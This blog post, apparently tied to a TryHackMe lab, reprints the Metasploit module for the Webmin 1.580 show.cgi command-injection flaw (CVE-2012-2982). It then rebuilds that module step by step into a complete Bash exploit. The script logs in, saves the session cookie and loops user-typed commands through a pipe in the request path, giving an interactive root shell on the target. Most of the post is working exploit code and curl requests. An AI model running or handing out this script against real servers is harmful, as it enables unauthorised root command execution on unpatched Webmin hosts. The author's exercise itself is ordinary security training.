Webmin 1.580

Hello there my friends! My name is Dot. Today is a big day, as it is the first post about a series I want to start, which is about rewriting exploit scripts in Bash. I want to clarify that this exploit was not discovered by me. I am simply going to rewrite the exploit in Bash. Having clarified this, I hope you like it. If you have any question you can ask me through my social networks.

Before I start, I want to say, that this idea came to me, doing the "Intro PoC Scripting" room of TryHackMe. So, to save myself the steps of installing and configuring it in local, I have used the machine of the room, to develop the script, so do not be confused if you see that the IP of the host changes along the post.

Original exploit

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	include Msf::Exploit::Remote::HttpClient

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Webmin /file/show.cgi Remote Command Execution',
			'Description'    => %q{
					This module exploits an arbitrary command execution vulnerability in Webmin
				1.580. The vulnerability exists in the /file/show.cgi component and allows an
				authenticated user, with access to the File Manager Module, to execute arbitrary
				commands with root privileges. The module has been tested successfully with Webim
				1.580 over Ubuntu 10.04.
			},
			'Author'         => [
				'Unknown', # From American Information Security Group
				'juan vazquez' # Metasploit module
			],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					['OSVDB', '85248'],
					['BID', '55446'],
					['CVE', '2012-2982'],
					['URL', 'http://www.americaninfosec.com/research/dossiers/AISG-12-001.pdf'],
					['URL', 'https://github.com/webmin/webmin/commit/1f1411fe7404ec3ac03e803cfa7e01515e71a213']
				],
			'Privileged'     => true,
			'Payload'        =>
				{
					'DisableNops' => true,
					'Space'       => 512,
					'Compat'      =>
						{
							'PayloadType' => 'cmd',
							'RequiredCmd' => 'generic perl bash telnet',
						}
				},
			'Platform'       => 'unix',
			'Arch'           => ARCH_CMD,
			'Targets'        => [[ 'Webim 1.580', { }]],
			'DisclosureDate' => 'Sep 06 2012',
			'DefaultTarget'  => 0))

			register_options(
				[
					Opt::RPORT(10000),
					OptBool.new('SSL', [true, 'Use SSL', true]),
					OptString.new('USERNAME',  [true, 'Webmin Username']),
					OptString.new('PASSWORD',  [true, 'Webmin Password'])
				], self.class)
	end

	def check

		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Attempting to login...")

		data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

		res = send_request_cgi(
			{
				'method'  => 'POST',
				'uri'     => "/session_login.cgi",
				'cookie'  => "testing=1",
				'data'    => data
			}, 25)

		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
			print_good "#{peer} - Authentication successful"
			session = res.headers['Set-Cookie'].split("sid=")[1].split(";")[0]
		else
			print_error "#{peer} - Authentication failed"
			return Exploit::CheckCode::Unknown
		end

		print_status("#{peer} - Attempting to execute...")

		command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"

		res = send_request_cgi(
			{
				'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
				'cookie'  => "sid=#{session}"
			}, 25)


		if res and res.code == 200 and res.message =~ /Document follows/
			return Exploit::CheckCode::Appears
		else
			return Exploit::CheckCode::Safe
		end

	end

	def exploit

		peer = "#{rhost}:#{rport}"

		print_status("#{peer} - Attempting to login...")

		data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"

		res = send_request_cgi(
			{
				'method'  => 'POST',
				'uri'     => "/session_login.cgi",
				'cookie'  => "testing=1",
				'data'    => data
			}, 25)

		if res and res.code == 302 and res.headers['Set-Cookie'] =~ /sid/
			session = res.headers['Set-Cookie'].scan(/sid\=(\w+)\;*/).flatten[0] || ''
			if session and not session.empty?
				print_good "#{peer} - Authentication successfully"
			else
				print_error "#{peer} - Authentication failed"
				return
			end
			print_good "#{peer} - Authentication successfully"
		else
			print_error "#{peer} - Authentication failed"
			return
		end

		print_status("#{peer} - Attempting to execute the payload...")

		command = payload.encoded

		res = send_request_cgi(
			{
				'uri'     => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
				'cookie'  => "sid=#{session}"
			}, 25)


		if res and res.code == 200 and res.message =~ /Document follows/
			print_good "#{peer} - Payload executed successfully"
		else
			print_error "#{peer} - Error executing the payload"
			return
		end

	end

end

Analyzing the exploit

Let's quickly explain the exploit. At first sight, we can see that there are 3 functions, which are: initialize, check and exploit.

initialize

The first part is information about the exploit, what arguments are expecting, what options there are... I will not go into detail because it is not very important.

check

In this part, we see that it makes a POST request to the path /session_login.cgi with the following data page=%2F&user=USER&pass=PASSWORD

payload

In this part, the request is made to the path /file/show.cgi/bin/ with the following format:
PATH + 5 RANDOM CHARACTERS + | + COMMAND + |

Bash

Having explained this, let's get down to work, with Bash. The first thing to do is to create our variables, and log into the application.

Creating variables and logging in

As we can see, in the original exploit, it is logging into the /session_login.cgi path. Also, we will need to store the user and password in variables, and the vulnerable path, which is/file/show.cgi/bin/. Therefore, the result is something like this:

#!/bin/bash

#Variables#
read -p "url: " url
login_path="/session_login.cgi"
vulnerable_path="/file/show.cgi/bin/"
read -p "User: " user
read -p "Password: " password

Next we will log into the application, for this we will make a POST request with the user data and password. How do we get the body of the post request? Easy, we can capture it from BurpSuite, or directly from the developer tools.

As we can see, the body is as follows:
page=%2F&user=USER&pass=PASSWORD

So we simply use the -d option which is used to send data through the POST method.

curl -X POST -d"page=%2F&user=$user&pass=$password" http://10.10.78.117/session_login.cgi

Buuuut...

Mmmm I immediately googled the error and apparently it is an SSL error in the webmin configuration file. If we look again at the exploit, we can see that there is a cookie defined (Line 76).

So I made the same request, but, this time, adding that cookie, and using -v (verbose). We can see that things are going well, we log in correctly and the server assigns us a cookie.

curl -X POST -d"page=%2F&user=user1&pass=1user" -v -b cookies="testing=1" http://10.10.137.238/session_login.cgi

So, the next step is to save that cookie in a file, in order to save the session data and be able to execute commands without having to log in every time we execute one. We can do this by simply adding the --cookie-jar option and the file name where cookies will be saved.

curl -X POST -d"page=%2F&user=user1&pass=1user" -b cookies="testing=1" http://10.10.137.238/session_login.cgi --cookie-jar cookies.txt

What's next, will be to store that cookie in a variable inside our script. To get the value of the cookie, we can do it, in the following way.

cat cookies.txt | grep sid | awk '{print $NF}'

So we can simply create a cookie variable that stores the result of the above command. That way, our script would look something like this:

#!/bin/bash

#Variables#
read -p "url: " url
login_path="/session_login.cgi"
vulnerable_path="/file/show.cgi/bin/"
read -p "User: " user
read -p "Password: " password


#Getting the cookie
curl -X POST -d"page=%2F&user=$user&pass=$password" $url$login_path -b cookies="testing=1" --cookie-jar cookies.txt
cookie=$(cat cookies.txt | grep sid | awk '{print $NF}')

Once that's done, it's time to get on with the command execution part.

Command execution

If we look at the following part of the code, we can see that line 143 is where the important thing is. It is making a request to the path /file/show.cgi/bin/ followed by 5 random characters, a | , the command and finally another |.

Let's go by parts, first, let's get 5 random characters. To do this we will use /dev/random. We will print the first 500 lines, and from them, we will take only numbers, letters and capital letters. Finally we print 5 characters of the previous string (the last echo is to delete the # that appears, (see last line in the picture))

head -c 500 /dev/urandom | tr -dc 'a-zA-Z0-9' | head -c 5 ; echo

Next, we are going to execute commands. For it, I will make a small while loop, to read the command that we want to execute, and then, pass this command to curl. First, we are going to focus on executing commands successfully with curl, and then we will move on to the aesthetic part.

curl -b "testing=1; sid=709028314ded32b222b15f0d78138e2c" "http://10.10.138.105/file/show.cgi/bin/f42j4|whoami|"

I searched everywhere in google for this error, and I didn't find any valid solution. I tried everything, send the request with the content type header with values at 0, 999... I changed web verbs and still no solution. So desperately, I did a curl --help and I started to try all the options, that seemed to me, that could fix this error, and after trying 4 or 5 options, I found one that was as follows

--ignore-content-length Ignore the size of the remote resource

Sounds just like what we are looking for. So let's try that option

Well, problem solved. Now let's move on to the aesthetic part.

To make it a little more esthetic. I will make a small prompt thanks to the read command, and as long as the inserted string (that it will be stored in the command variable) is not "exit", the loop will continue. I will also add the parameters -s (Silent mode) and -k ( --insecure: Allow insecure server connections when using SSL) to curl, to make it better

while [ "$command" != "exit" ]; do
	read -p "root@pwn3d: " command
	curl -b "testing=1; sid=$cookie" -sk "http://$url/file/show.cgi/bin/$random|$command|" --ignore-content-length
done

So, I think it's time to see how our script is going, and to test it. The script would look something like this

#!/bin/bash

#Variables#
read -p "url: " url
login_path="/session_login.cgi"
vulnerable_path="/file/show.cgi/bin/"
read -p "User: " user
read -p "Password: " password


#Getting the cookie
curl -X POST -d"page=%2F&user=$user&pass=$password" $url$login_path -b cookies="testing=1" --cookie-jar cookies.txt
cookie=$(cat cookies.txt | grep sid | awk '{print $NF}')

#Executing commands
random=$(head -c 500 /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)

while [ "$command" != "exit" ]; do
	read -p "root@pwn3d: " command
	curl -b "testing=1; sid=$cookie" -sk "http://$url$vulnerable_path$random|$command|" --ignore-content-length
done

echo "~~ Bye ~~"

So apparently, it would be all done by now. Our script is working correctly. But this is not the end of the story, now we are going to introduce a little bit of logic in the script, because, what would happen if the credentials are invalid, or if in the url variable the user would enter http://blabla instead of the IP or the domain?

Adding logic

Let's start with the url variable. This variable can give problems, because a user can insert several things here. Among them, the IP, the domain, or supplying also the http(s):// scheme. Let's imagine that the user enters https://google.com, the url variable would be https://google.com, so, when it is passed to the curl command, the request will be made to http://https://google.com, you see the problem, don't you?

So this can be solved in several ways, but I think the most effective one is using grep and a little bit of regex. I have created the following regex, where we can check if the string http(s):// is in the variable url.

In this way we can make an if condition like: "if the string https:// is in the url variable, remove https:// from the variable, and if it is not, the value of the url variable is not edited". We can make it so that if http(s):// is found, it stays with the domain, like this:

I know that this will not always be the case, as someone may enter https:/// by mistake and url variable, will be empty. But that is already the user's fault, for entering the url wrong. So it is enough, to execute again the script and introducing the url correctly.

Let's see how it looks like. I want to emphasize that I am going to use the -c option of grep, which removes all output, and returns the number of lines matching the pattern. So if it returns 1, it means that there is a match.

if [ $(echo $url | grep -Eo 'http[s]?://' -c) == "1" ]; then
	url= $(echo $url | cut -d "/" -f3)
fi

The next step is to check if the host is up. To do this, we simply are going to send a single ping (-c 1) and we will wait 3 seconds at most  (-W 3), to see if the host responds or not.

if [ $(ping -c 1 -W 3 "$url" 2>/dev/null &>/dev/null ; echo $?) == "0" ]; then
  echo "$url is UP"
else
  echo "$url is not up. Quitting..."
  exit 1
fi

After that, we will check if the credentials are valid or not. For this, we will need an error message, which is produced when we enter incorrect credentials. So I simply punched the keyboard three times for each field (username and password) and hit log in.

So our error message is: Login failed. Please try again. Nice, now we can do a while loop, so that, if in the body of the response, the error message is present, it means that the credentials are invalid, and if in the body of the response, this message is not present, or there is a 302 (redirection), it means that we have logged in correctly.

while [[ $(curl -sk -X POST -d"page=%2F&user=$user&pass=$password" $url$login_path -b "cookies=testing=1" --cookie-jar cookies.txt | grep -c "Login failed") == "1" ]]; do
	echo "Incorrect credentials"
	read -p "User: " user
	read -p "Password: " password
done

Putting everything we have seen, together, the script would be as follows:

#!/bin/bash

##Variables##
read -p "url: " url
login_path="/session_login.cgi"
vulnerable_path="/file/show.cgi/bin/"

##Logic##

#Getting the Host
if [ $(echo $url | grep -Eo --colour 'http[s]?://' -c) == "1" ]; then
	url=$(echo $url | cut -d "/" -f3)
fi


# Checking if the host is UP
echo "Checking if host is UP..."

if [ $(ping -c 1 -W 3 "$url" 2>/dev/null &>/dev/null ; echo $?) == "0" ]; then
	sleep 3
	echo "$url is UP"
else
	echo "$url is not up. Quitting..."
	exit 1
fi


#Log in
read -p "User: " user
read -p "Password: " password

while [[ $(curl -sk -X POST -d"page=%2F&user=$user&pass=$password" $url$login_path -b "cookies=testing=1" --cookie-jar cookies.txt | grep -c "Login failed") == "1" ]]; do
	echo "Incorrect credentials"
	read -p "User: " user
	read -p "Password: " password
done

#Getting the cookie
cookie=$(cat cookies.txt | grep sid | awk '{print $NF}')

#Executing commands
random=$(head -c 500 /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1)

while [ "$command" != "exit" ]; do
	read -p "root@pwn3d: " command
	curl -b "testing=1; sid=$cookie" -sk "http://$url$vulnerable_path$random|$command|" --ignore-content-length
done

echo "~~ Bye ~~"

Here is a POC:

The final Bash script can be found in my GitHub. This would be the end of the first post of this series, I will try to publish a post, every two Fridays, if I'm not too busy.

So, having said that, any doubt you may have, you can ask me through any of my social networks. I hope this post have served as food for your brains, see you in the next. Fire it up, baby.